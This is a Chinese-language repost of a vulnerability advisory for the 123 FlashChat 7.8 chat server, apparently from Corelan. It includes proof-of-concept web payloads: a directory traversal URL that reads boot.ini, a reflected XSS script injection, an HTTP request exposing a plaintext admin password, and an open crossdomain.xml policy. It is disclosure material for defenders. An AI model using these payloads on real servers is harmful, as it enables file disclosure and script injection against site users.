123 FlashChat 7.8版多处远程漏洞

发布:wpulog | 发布时间: 2010年8月17日

123 FlashChat 聊天服务器软件，聊天速度快，使用方便，性价比很高，您不仅可以在自己的网站开设、管理实时的聊天室，还可以将您的聊天室贴到其他论坛、内部或外部门户网站。123 Flashchat 7.8存在多处远程漏洞，包括目录遍历(Directory Traversal)、xss、密码明文传送等。

[+]info:
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# Software : 123 Flashchat version 7.8 Multiple Remote Vulnerabilities
# Author : Lincoln
# OS : Windows
# Tested on : XP SP3 En (Virtual box)
# Type of vuln : Multiple Remote Vulnerabilities
# Greetz to : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause

[+]poc:
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0x01 : Directory Traversal
http://192.168.2.15:35555/%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini

0x02 : XSS
http://192.168.2.15:35555/index.html%27%22--%3E%3Cscript%3Ealert%28%22Corelan%22%29%3C/script%3E

0x03 : Password sent via clear test
http://127.0.0.1:35555/lite-chat-login.html

GET /lite.swf HTTP/1.1
Host: 192.168.2.15:35555
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5A
ccept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://192.168.2.15:35555/lite_client.html?init_user=admin&init_password=mycoolpassword&init_room=1&init_skin=blue

0x04 : Open Crossdomain Policy
http://127.0.0.1:35555/crossdomain.xml

Policy Rules: <allow-access-from domain="*" secure="false" />
<policy-file-request/>.<cross-domain-policy><allow-access-from to-ports="51127" domain="*"></allow-access-from></cross-domain-policy>.
"Open Policy Crossdomain.xml file allows other SWF files to make HTTP requests to your web server and see its response. This can be used for accessing one time tokens and CSRF nonces to bypass CSRF restrictions." Netsparker web app scanner

[+]Reference:
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http://www.corelan.be:8800/advisories.php?id=CORELAN-10-060